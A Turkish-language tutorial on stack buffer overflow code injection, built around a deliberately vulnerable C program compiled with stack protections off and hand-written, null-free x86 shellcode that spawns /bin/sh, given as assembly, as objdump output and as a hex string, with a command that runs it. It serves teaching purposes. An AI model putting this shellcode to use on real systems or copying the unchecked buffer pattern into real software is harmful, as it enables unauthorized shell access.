Bu yöntemdeki amaç, tampon alanına zararlı bir kodu yerleştirmek, ardından enjekte edilen bu kodun çalışmasını sağlamaktır. Bu yöntemdeki temel zorlukları aşağıdaki gibi sıralayabiliriz.
İncelememize bir örnek üzerinden başlayalım. Kontrolsüz bir şekilde tampona yazan bir uygulama üzerinden kabuk (/bin/sh) programını çalıştırmaya çalışalım. Örnek kod aşağıdaki gibi olsun.
#include <stdio.h>
#include <string.h>
#define SIZE 32
void foo(char *str) {
puts(__func__);
char buf[SIZE];
strcpy(buf, str);
#if 1
((void(*)( ))buf)( );
#endif
}
int main(int argc, char **argv) {
if (argc < 2) {
puts("kullanım: ./inj <komut satırı argümanları>");
return -1;
}
foo(argv[1]);
return 0;
}
Örnek koda inj.c adını vererek aşağıdaki gibi derleyebilirsiniz.
gcc -Wall -oinj inj.c --save-temps -m32 -fno-stack-protector -z execstack
Not: Derleyiciye geçirdiğimiz execstack anahtarı ile yığın alanını çalıştırılabilir olarak (executable stack) işaretliyoruz. Bu konudan daha sonra bahsedeceğiz.
İlk olarak, tampon alanı içine kabuk programını çalıştıracak olan kod yığınını atmalıyız. C dilinde kabuk aşağıdaki gibi bir program ile çalıştırılabilir.
#include <unistd.h>
int main()
{
char *shell[2];
shell[0] = "/bin/sh";
shell[1] = NULL;
execve(shell[0], shell, NULL);
return 0;
}
Örnek kodu aşağıdaki gibi derleyerek üretilen sembolik makina kodlarını inceleyelim.
gcc -m32 -oshell shell.c --save-temps
main: pushl %ebp movl %esp, %ebp andl $-16, %esp subl $32, %esp movl $.LC0, 24(%esp) movl $0, 28(%esp) movl 24(%esp), %eax movl $0, 8(%esp) leal 24(%esp), %edx movl %edx, 4(%esp) movl %eax, (%esp) call execve movl $0, %eax leave ret
Bu sembolik makina kodlarına karşılık gelen gerçek makina kodlarını başka bir programa enjekte ederek kullanmayı düşünebilirsiniz fakat burada iki adet problemle karşılaşmaktayız.
Birinci problem tampona yazılacak byte topluluğunda değeri 0 olan byte bulunmasıdır. execv fonksiyonuna son argüman olarak geçirdiğimiz NULL adres aşağıdaki gibi bir sembolik makina kodunun üretilmesine sebep olmaktadır.
movl $0, 8(%esp)
0 değeri aynı zamanda C dilinde bir yazının sonlandırıcı karakteri (terminating character) olarak kullanıldığından strcpy gibi bir fonksiyon bu karakteri gördüğünde tampona yazma işlemini sonlandıracaktır. Bu sebeple zararlı kodun tamamını tampona yazmak mümkün olmayacaktır.
Diğer problem ise execve fonksiyonuna ait gerçek adresin yükleme zamanında belli olmasıdır.
Bu durumda kendimiz sembolik makina kodu kullanarak bir sistem çağrısı ile execve fonksiyonunu çağırabiliriz. Bunun için aşağıdaki gibi bir kod kullanılabilir.
.text
.globl malicious
malicious:
xorl %eax, %eax
pushl %eax
pushl $0x68732f2f
pushl $0x6e69622f
movl %esp, %ebx
pushl %eax
pushl %ebx
movl %esp, %ecx
xorl %edx, %edx
movb $0x0b, %al
int $0x80
Kodda eax yazmacının kendisiyle xor işlemine tabi tutularak sıfırlandığına dikkat ediniz. movl $0, %eax gibi bir makina kodu yukarıda bahsettiğimiz ilk probleme neden olacaktır.
Kod kabuk programına ilişkin yazıyı(/bin/sh) yığına geçirmekte, yazmaçlara uygun değerleri atamakta ve sonrasında bir sistem çağrısı yaparak execve fonksiyonunu çağırmaktadır. Örnek kodu aşağıdaki gibi derleyerek gerçek makina kodu üretilmesini sağlayabiliriz.
as --32 malicious.s -omalicious.o
Not: Linux altında sistem çağrısı yapmak için 80h kesmesi kullanılabilmektedir. Yukarıdaki örnekte, execve sistem çağrı numarası olan 0x0b değeri eax yazmacına, fonksiyona geçirilecek olan argümanlar ise sırasıyla ebx, ecx ve edx yazmaçlarına yazılmış. Ardından içsel bir kesme oluşturularak kernel alanındaki execve fonksiyonu çağırılmış.
Sonrasında objdump aracı ile gerçek makina kodlarına ulaşabiliriz.
objdump -d malicious.o
Disassembly of section .text:
00000000 <malicious>:
0: 31 c0 xor %eax,%eax
2: 50 push %eax
3: 68 2f 2f 73 68 push $0x68732f2f
8: 68 2f 62 69 6e push $0x6e69622f
d: 89 e3 mov %esp,%ebx
f: 50 push %eax
10: 53 push %ebx
11: 89 e1 mov %esp,%ecx
13: 31 d2 xor %edx,%edx
15: b0 0b mov $0xb,%al
17: cd 80 int $0x80
Gerçek makina kodlarını tek bir yazı şekline aşağıdaki gibi gösterebiliriz.
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
Kod enjekte edeceğimiz örneğe tekrar dönecek olursak, komut satırından aldığı yazıyı kontrolsüz bir şekilde yığındaki buf isimli tampona yazdığını görmekteyiz.
Tampon alanındaki zararlı kodu, test amaçlı olarak, kendimiz uygulama içinden çağıracağız. Bunun için tampon alan adresinin bir fonksiyon adresine dönüştürülerek çağrı yapıldığına dikkat ediniz.
#if 1
((void(*)( ))buf)( );
#endif
Daha önce derleyerek inj adını verdiğimiz uygulamayı aşağıdaki gibi çalıştırarak test edebiliriz.
./inj $(printf "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80")
Bu aşamada kabuk programının çalıştığını görmeliyiz.
Örnek uygulamamız için yığının temsili görüntüsü aşağıdaki gibi olacaktır.
Örneğimizde zararlı kodu açık bir şekilde bizim çağırdığımızı hatırlayınız. Gerçekte ise bu işlem, şekilde gösterildiği gibi, fonksiyonun geri dönüş değeri zararlı kodu gösterecek şekilde değiştirilerek yapılmaktadır. Buradaki temel zorluk tamponun boyutunu ve başlangıç adresini kestirmektir.
Bu bölümde genel olarak fikir vermeyi amaçladığımızdan konunun ayrıntısına girmeyeceğiz.